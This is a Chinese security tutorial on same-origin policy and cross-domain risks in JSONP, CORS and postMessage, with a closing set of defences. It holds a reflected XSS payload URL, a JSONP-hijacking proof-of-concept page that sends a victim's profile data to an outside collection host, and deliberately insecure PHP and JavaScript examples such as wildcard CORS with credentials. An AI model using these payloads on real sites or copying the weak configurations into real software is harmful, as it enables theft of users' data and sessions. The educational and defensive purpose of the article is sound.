WEB前端中最常见的两种安全风险,XSS与CSRF,XSS,即跨站脚本攻击、CSRF即跨站请求伪造,两者属于跨域安全攻击,对于常见的XSS以及CSRF在此不多谈论,仅谈论一些不太常见的跨域技术以及安全威胁。
一、 域
域,即域名对应的网站。不同的域名对应的不同的网站,相同的域名不同的端口也对应的不同的网站,因此,域,从字面意思以及实质意思都为空间,所以在web中空间即代表的是网站。
二、同源策略(SOP)
2.1 同源策略定义
同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。
同源策略必须要同时满足以下三个条件,只要有任何一个不同,都被当作是不同的域:
1、协议相同
2、域名相同
3、端口号相同
举例说明:
协议 | 域名 | 端口 | 是否同源 | 原因 |
---|---|---|---|---|
http | www.a.com | 80 | ||
http | www.b.com | 80 | 否 | 域名不同 |
https | www.a.com | 80 | 否 | 协议不同 |
http | www.a.com | 8080 | 否 | 端口不同 |
2.2 同源策略限制
同源策略限制了只有同源的脚本才会被执行,当打开一个网站的时候,会首先检查是否同源,如果非同源,在请求数据的时候,浏览器就会进行拦截报异常,拒绝访问。
三、跨域本质
跨域本质就是绕过同源策略的严格限制,安全与实用往往有时候会有一定的矛盾性,开发人员更注重的是功能的开发使用,例如有时候同二级域名下的不同三级域名需要进行一些信息数据传输时,共享一些资源时,同源策略将其限制,但是又要实现该功能,此时就诞生了一些跨越请求的技术。
四、跨域技术
本文将介绍较大范围的跨域,即从一个域到另一个域都将其归为跨域。因此,将其归结为两种情况:
1、跨域请求
2、跨域跳转
五、跨域威胁
5.1 JSONP跨域
5.1.1 jsonp跨域原理
利用<script>标签没有跨域限制的漏洞,网页可以从其他来源域动态获取json数据,jsonp跨域请求一定需要对方的服务器支持才可以。
5.1.2 jsonp实现流程
1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提)
2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据
3、创建一个<script>标签,把跨域的API数据接口加载到src属性,并且在这个地址向服务器传递该回调函数名
4、服务器会将数据返回到浏览器客户端,此时客户端会调用回调函数,对返回的数据进行处理
5.1.3 jsonp代码实战
1、Talk is cheap,Show me code
<?php
error_reporting(0);
$callback = $_GET['callback'];
echo $callback."({'id':1,'name':'missfresh'})"
?>
以上即为一个简单的jsonp的服务端接口,假设该接口是一个获取用户的个人信息的接口,那么此时只要请求该接口,每个用户就获取到自己该有的个人信息,
为了更加符合通常的开发实际情况,一般用户获取个人信息流程:
登陆->服务器验证->session->通过session判断用户->个人信息
2、Just Show Code
(1)登陆代码
<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
$_SESSION['name'] = $name;
}
echo '<a >用户信息</a><br>';
echo '<a >退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
echo '<html>
<head>
<title>登录</title>
<meta charset="utf-8">
</head>
<body>
<form action="login.php" method="get">
用户名:<input type="text" name="name">
密码:<input type="password" name="pwd">
<input type="submit" name="submit" value="login">
</form>
</body>
</html>';
}else{
echo "欢迎您".$_SESSION['name']."<br data-tomark-pass>";
}
?>
(2)获取个人信息代码
<?php
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
echo $callback."({'id':1,'name':'missfresh_admin'})";
}elseif ($_SESSION['name'] === 'guest') {
echo $callback."({'id':2,'name':'missfresh_guest'})";
}else{
echo $callback."获取个人信息失败";
}
?>
3、代码效果演示
未登录前,访问个人信息接口
使用admin账户登陆后,访问个人信息接口
5.1.4 JSONP安全威胁
JSONP威胁点通常有两个:
1、对于输入的callback函数名过滤不严格,导致输入的数据直接输出到前端造成XSS
2、JSONP劫持漏洞,由于对于来源域没有严格限制,因此来源于不安全的域的请求也会被响应
1、XSS
反射性XSS漏洞很简单,在get请求中直接构造xss payload即可
http://172.16.31.149/jsonp/index.php?callback=jsonp_5981%3Cimg%20src=x%20onerror=alert(/xss/)%3E
危害:可以获取到用户的cookie信息或者劫持用户跳转到钓鱼网站
2、JSONP劫持
JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。
(1)以示例代码为例,演示构造恶意利用POC
test.html
<html>
<head>
<title>jsonp劫持</title>
<meta charset="utf-8">
</head>
<script type="text/javascript" src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script>
function jsonp_hack(v){
alert("jsonp劫持");
var h='';
for(var key in v){
var a=''
a=key+' : '+v[key]+' ,'
h+=a
}
alert(h);
$.get('http://jsonp1.kijkv0.ceye.io?value='+h);
}
</script>
<script src="http://172.16.31.149/jsonp/index.php?callback=jsonp_hack"></script>
<body>
<h1>jsonp劫持</h1>
</body>
</html>
(2)漏洞利用效果
一旦被攻击者访问该网页,就会自动触发,会自动访问具有漏洞的jsonp接口,利用被攻击者自己的session获取到被攻击者的信息,并将该信息远程发送到攻击者的服务器上
(3)实际案例
以某电商为例,劫持该电商的用户购物车
5.2 CORS跨域
5.2.1 CORS跨域原理
CORS(Cross Origin Resource Sharing),跨域资源共享,为了弥补JSONP等跨域常见技术的缺陷,而提出的安全方便的跨域方案。它允许浏览器想跨域服务器,发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持,相比JSONP更加复杂,但是一般目前的浏览器都是支持的,服务器只需要进行相应配置,其通信过程都是浏览器自动完成,对于开发人员来说,跟写AJAX的代码没有区别,只是会在发送跨域请求时在HTTP请求头中添加一些字段来验证,关键字段如下:
1、Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
2、Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
3、Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。
5.2.2 CORS实现流程
1、服务器配置支持CORS,默认认可所有域都可以访问
2、浏览器客户端把所在的域填充到Origin发送跨域请求
3、服务器根据资源权限配置,在响应头中添加ccess-Control-Allow-Origin Header,返回结果
4、浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面
5.2.3 CORS代码实战
利用PHP代码实现CORS,只需要在服务器端的代码中加入header字段
1、a.missfresh.com服务端代码
<?php
$a = !empty($_GET['a']) ? trim($_GET['a']) : '';
if($a == 'getUserInfo') {
echo json_encode(array(
'uid' => 1,
'name' => '测试',
));
} else {
echo '';
}
代码简单解释,声明一个个人信息的接口
2、b.missfresh.com域中客户端代码
<!doctype html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8" />
<title>cors-test</title>
</head>
<body>
<div ></div>
</body>
<script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script type="text/javascript">
var url = "http://a.missfresh.com/cors.php";
$.get(url, {a:"getUserInfo"}, function(data) {
$(".userInfo").text("Id:" + data.uid + " Name:" + data.name);
}, "json");
</script>
</html>
代码简单解释,b.missfresh.com利用ajax异步访问a.missfresh.com个人信息接口
3、代码效果演示
可以看到被浏览器拦截,无法发起CORS请求
此时将a.missfresh.com服务端接口添加header头即可代码改为
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');
$a = !empty($_GET['a']) ? trim($_GET['a']) : '';
if($a == 'getUserInfo') {
echo json_encode(array(
'uid' => 1,
'name' => '测试',
));
} else {
echo '';
}
此时就可以触发CORS
5.2.4 CORS安全威胁
CORS一般最常见的安全威胁就是CORS错误配置导致资源信息泄漏,与JSONP劫持基本上一致。
漏洞原理:通常开发人员使用CORS一般默认允许来自所有域或者由于错误的正则匹配方式造成绕过规定的白名单域
1、CORS漏洞利用前提
(1)有用户凭证的
(2)无用户凭证的
2、实际案例
以一加官网为例
登陆后,访问个人信息,然后利用burpsuite抓包,修改origin的域,发现任意域都可以被服务器接受
构造exp:
成功利用该exp:
5.3 PostMessage跨域
5.3.1 PostMessage跨域原理
PostMeaage是H5新引入的实现跨域窗口之间的通讯,可以安全地实现windows对象之间的跨域通信
PostMessage主要依靠Window.postMessage方法,该方法有三个参数
1、message:发送到其他窗口的数据
2、targetOrigin:接受数据消息的目标窗口,当该值为星号(* )表示任意一个域都可以接受消息
3、transfer: 可选项,代表纤细的所有权
除了发送之外,必然有一个接受消息的窗口,一般用window.addEventListener("message",receiveMessage.false),用以接受消息数据
5.3.2 PostMessage实现流程
1、创建一个页面A,定义一个Postmessage方法
2、创建一个页面B,定义一个window.addEventListener("message",function)方法接受来源于Postmessage方法的消息
3、页面A使用Iframe标签包含页面B,触发Postmessage方法即可
5.3.3 PostMessage代码实战
1、post.missfresh.com
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>missfresh-window.postMessage()跨域消息传递</title>
</head>
<body>
<div>
<input type="text" value="hello,missfresh" />
<button >发送消息</button>
</div>
<iframe src="http://receive.missfresh.com/child.html" width="500" height="60">
<p>你的浏览器不支持IFrame。</p>
</iframe>
<script>
window.onload = function() {
var receiver = document.getElementById('receiver').contentWindow;
var btn = document.getElementById('send');
btn.addEventListener('click', function (e) {
e.preventDefault();
var val = document.getElementById('text').value;
receiver.postMessage(val+"!", "*");
});
}
</script>
</body>
</html>
2、receive.missfresh.com
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>missfresh-从post.missfresh.cn接收消息</title>
</head>
<body>
<div >
3、从post.missfresh.cn接收消息
</div>
<script>
window.onload = function() {
var messageEle = document.getElementById('message');
window.addEventListener('message', function (e) {
alert(e.data);
messageEle.innerHTML = "从"+ e.origin +"收到消息: " + e.data;
});
}
</script>
</body>
</html>
4、代码演示效果
(1)未点击发送消息前
(2)点击发送消息后
5.3.4 PostMessage安全威胁
PostMessage跨越一般威胁点在于对于目标域限制不严格导致的,大多数开发人员由于对于postmessage防范中targetOrigin参数默认为* ,因此只要包含了该方法页面,构造利用代码,就能够获取到敏感信息。
1、漏洞利用前提
(1)页面存在点击劫持
(2)postmessage函数中的targetOrigin默认为* 或者targetOrigi对应的域不安全
2、实际案例
(1)构造xss
可以看到构造恶意xss,发送给目标域,就可以获取到目标域的cookie
(2)窗口劫持
窗口劫持则主要针对发送消息的域,劫持该消息
六、跨域安全场景
业务场景跨域场景主要有以下两个场景
1、共享个人信息数据
2、共享cookie数据
6.1 共享cookie数据
目前常见的一种形式,就是统一登陆,所有的大型企业,基本上都采用这种方式,登陆验证后会在所有的该企业其他同三级域中授权,因此一旦某个域出现安全威胁后,就可能窃取到用户的cookie信息,就可以利用该用户的cookie信息伪装用户操作
6.2 共享个人信息数据
有些时候,可能不存在类似xss这类漏洞,直接获取到用户的cookie信息,但是为了数据在资产域中交换,常常利用jsonp、cors技术,但是会存在配置错误就导致,默认所有域可访问、正则被绕过,引入的某个JS资源该服务器不安全等因素,导致数据被劫持
七、跨域安全方案
对于跨域的安全域,要严格控制信任域,禁止配置默认所有域的情况,对于限制的正则表达式要严格测试通过
对于引入的JS等执行脚本,需要保证来源的安全性,避免来源服务器本身的不安全威胁
对于边缘业务子域,要控制其可信度,避免从边缘业务的漏洞影响核心业务
对于非归属业务,禁止子域分配给其他归属,避免第三方不遵守安全,存在漏洞风险,造成对归属业务的影响
八、 参考文献
https://www.cnblogs.com/mq0036/p/8554139.html
*本文作者:1u0hun,本文属 FreeBuf 原创奖励计划,未经许可禁止转载